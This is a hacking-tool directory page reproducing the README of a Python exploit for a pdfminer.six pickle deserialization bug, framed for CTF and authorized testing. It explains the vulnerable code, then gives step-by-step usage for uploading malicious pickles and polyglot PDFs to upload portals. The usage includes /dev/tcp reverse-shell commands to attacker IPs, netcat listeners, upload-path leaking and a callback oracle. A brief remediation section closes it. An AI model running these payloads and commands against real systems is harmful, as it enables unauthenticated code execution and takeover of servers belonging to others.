Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-64512_PoC — Python PoC for CVE-2025-64512, a pdfminer.six pickle deserialization RCE. Generates gzipped pickle payloads and polyglot PDFs, then delivers them to upload portals for authorized testing. | Kitploit
Tools/GitHubGitHub/jinook-kim/cve-2025-64512_poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationCTFPenetration TestingLearning & Education

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
GitHub
jinook-kim/cve-2025-64512_poc

CVE-2025-64512_PoC

Python PoC for CVE-2025-64512, a pdfminer.six pickle deserialization RCE. Generates gzipped pickle payloads and polyglot PDFs, then delivers them to upload portals for authorized testing.

View Repository
16h 23m agoNot yet reviewed
Share

CVE-2025-64512 — pdfminer.six RCE exploit

Python 3, stdlib only (no pip installs). For authorized security testing and CTF use only — you are responsible for complying with the law and your engagement's rules of engagement.

CVECVE-2025-64512
Affectedpdfminer.six < 20251107 (fixed in 20251107 — CMaps became JSON)
Downstream victimsmarkitdown < 0.1.4, pdfplumber < 0.11.8
TypeCWE-502 deserialization of untrusted data → unauthenticated RCE
Reference PoCluigigubello/CVE-2025-64512-Polyglot-PoC (single-file polyglot variant)

Tested target: https://app.hackthebox.com/machines/Bedside


1. The vulnerability, in plain terms

pdfminer.six is a popular Python library for extracting text from PDFs. PDF fonts need CMaps — tables that translate character codes into Unicode — and pdfminer ships them as gzipped pickles (<name>.pickle.gz) inside its own package. Look at how a CMap is loaded (pdfminer/cmapdb.py, all versions before 20251107):

root@kitploit:~
@classmethod
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")                  # the ONLY sanitization
    filename = "%s.pickle.gz" % name               # ← attacker controls `name`
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)   # ← absolute name ignores the dir!
        if os.path.exists(path):
            with gzip.open(path) as gzfile:
                return type(str(name), (), pickle.loads(gzfile.read()))   # ← 💥

Three flaws stack up:

  1. name comes from the PDF itself. A Type0 (CID) font's /Encoding entry is a PDF name, and the attacker fully controls it. PDF names can't contain a raw /, so it is written with RFC-standard hex escapes: the name /#2f#76#61#72#2f… decodes to /var/….
  2. os.path.join quirk. When the second argument is absolute, the first is ignored entirely. So a name of /var/www/site/uploads/shell makes pdfminer look at /var/www/site/uploads/shell.pickle.gz — any path on disk — instead of its own CMap directory.
  3. pickle.loads() on the file's contents. A pickle can carry "rebuild me by calling this function" instructions (__reduce__). Deserializing attacker bytes = running attacker code, inside whatever process called pdfminer.

Exploit prerequisites — the bug is trivially exploitable on any application that gives you both halves of the equation:

  • a way to place a file at a known absolute path (an upload portal; the path is often leaked in error messages),
  • a way to make the server parse a PDF you control (on upload, on a convert endpoint, via a background watcher/cron, …).

2. What the script does

  1. Builds a gzipped pickle: {"__reduce__": eval("__import__('os').system('<your command>')")}.
  2. Builds a minimal but structurally valid PDF whose only content is a page that uses a Type0 font whose /Encoding names your pickle's absolute path.
  3. Delivers it:
    • --mode two (default) — uploads <name>.pickle.gz, then <name>.pdf. Use this whenever the target only parses files with a PDF extension (e.g. a watcher globbing uploads/*.pdf).
    • --mode polyglot — uploads one file <name>.pickle.gz that is both a valid gzip-pickle and a valid PDF: the entire PDF hides in the gzip header's FCOMMENT field (RFC 1952 allows comments; the %PDF- signature sits at byte 10, and the xref offsets are pre-shifted so the table stays valid). Use this when the target parses any uploaded file as PDF regardless of extension (markitdown-style converters).
  4. Optionally verifies the files landed (--verify), waits out the target's processing cycle (--wait), and can prepend a callback oracle (--callback) that phones home before your command runs — so you can prove execution even if your main channel fails.

3. Installation

Nothing to install — Python 3.10+ (uses str | None syntax):

root@kitploit:~
chmod +x cve_2025_64512.py

4. Usage

4.1 Rehearse locally first

Generate sample payloads and (if a vulnerable pdfminer is importable) execute them in your own Python to prove the chain works before touching a target:

root@kitploit:~
# point the selftest at a vulnerable pdfminer checkout/wheel (any < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest

Expected output ends with SELFTEST PASS for both the two-file trigger and the polyglot. You can also test manually:

root@kitploit:~
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/       # place as /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf                # vulnerable pdfminer only
cat /tmp/pwned                                  # → your uid

4.2 Generic upload portal (Bedside-style)

root@kitploit:~
# 1. start a listener for your command's callback channel
nc -lvnp 4444

# 2. run the exploit — let it discover the upload directory itself
python3 cve_2025_64512.py \
    --url http://research.target.htb/ \
    --leak-path \
    --verify /uploads \
    --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"

Full argument reference:

ArgumentPurpose
--commandShell command to execute on the target (required). It runs under sh -c, so pipes/redirects/subshells work.
--urlThe upload endpoint that receives multipart POSTs.
--upload-urlOverride the POST target if uploads go to a different URL than --url.
--fieldMultipart field name (read the portal's HTML <form>; common: uploadFile, file).
--pathAbsolute server-side directory where uploads land (e.g. /var/www/site/uploads). The PDF names the pickle here, so it must be exact.
--leak-pathDon't know the path? Upload malformed content and scrape it from the portal's error message (many portals print the destination).
--nameBasename for generated files (default shell). Randomize if you re-run to avoid stale files.
--modetwo (default) or polyglot — see §2.
--callback URLPrepend an HTTP fetch to URL before your command; run python3 -m http.server 8000 and watch for the hit. Execution oracle.
--wait NSleep N seconds after uploading — match the target's processing cadence (watchers/cron often poll every 30 s; wait a full cycle before assuming failure).
--verify /uploadsGET each uploaded file afterwards to confirm it landed where the PDF expects it.
--timeout, --out-dir, --no-upload, --selftestHTTP timeout, local output dir, generate-only mode, local rehearsal.

4.3 Worked example — HTB Bedside

root@kitploit:~
echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 &                                   # listener

python3 cve_2025_64512.py \
    --url http://research.bedside.htb/ \
    --path /var/www/research.bedside.htb/uploads \
    --verify /uploads --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 <&1'"

# → shell as the pdfminer service user (on Bedside: datawrangler, inside a container)

5. Troubleshooting

SymptomCause / fix
MIME type mismatch on uploadPortal sniffs content, not just extension. Both payloads are real gzip / real PDF — check you didn't truncate them; the trigger must start with %PDF-, the pickle must decompress (gzip -t).
Upload OK, nothing executes1) Wait a full watcher/cron cycle (--wait 35). 2) Confirm the pickle is reachable at <path>/<name>.pickle.gz (--verify). 3) Check the process running pdfminer can read your file. 4) Use --callback for a definitive execution signal.
Upload path unknown--leak-path, or trigger any validation error and read the message.
Polyglot never triggersThe parsed file must be the same file ending in .pickle.gz. If the target only parses *.pdf uploads, use --mode two.
TypeError: type.__new__() argument 3 must be dict in target logsThat's success — pdfminer executed your pickle and then tripped over its own return value. Harmless.
Target patchedpdfminer ≥ 20251107 loads CMaps from JSON. Nothing to exploit here.

6. Remediation (for defenders)

  • Upgrade pdfminer.six ≥ 20251107; patch markitdown ≥ 0.1.4 / pdfplumber ≥ 0.11.8.
  • Never place attacker-writable files where a parser resolves paths from file-internal metadata; serve uploads from storage the parser can only read.
  • Treat every deserializer as code execution: pickle.loads, torch.load, yaml.load on untrusted bytes are all the same bug class. Prefer data-only formats (JSON, Safetensors, ONNX).
  • Disable X-Powered-By-style headers and return generic errors — both leaked the ingredient list on Bedside.
Download Tool